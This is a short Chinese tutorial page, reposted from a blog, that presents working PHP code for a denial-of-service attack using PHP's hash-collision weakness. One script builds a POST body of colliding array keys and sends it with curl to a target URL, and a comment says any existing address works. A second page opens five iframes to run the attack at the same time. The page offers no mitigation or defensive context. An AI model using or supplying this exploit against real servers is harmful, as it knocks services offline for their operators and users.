当前位置:编程学习 > php >>

通过PHP的hash冲突漏洞进行DDoS攻击

文件dos.php
 // 目标地址
 // 只要目标地址存在,不用管它是干嘛的
 $host = 'http://127.0.0.1/test.php'; 
 
 $data = '';
 $size = pow(2, 15);
 for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
 {
     $data .= '&array[' . $key . ']=0';
 }
 
 $ret = curl($host, ltrim($data,'&'));
 var_dump($ret);
 
 
 function curl($url, $post, $timeout = 30){
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));  
     curl_setopt($ch, CURLOPT_URL, $url);
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
     $output = curl_exec($ch);
     if ($output === false) return false;
     $info = curl_getinfo($ch);
     $http_code = $info['http_code'];
     if ($http_code == 404) return false;
     curl_close($ch);
     return $output;
 }
 文件ddos.php
 
[php]
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
 <title>DDOS</title>
 </head>
 
 <body>
 <?php
 for($i=0; $i<5; $i++){//并发数
     echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';
 }
 ?>
 </body>
 </html>
 
 
摘自chaojie2009的专栏

补充:Web开发 , php ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,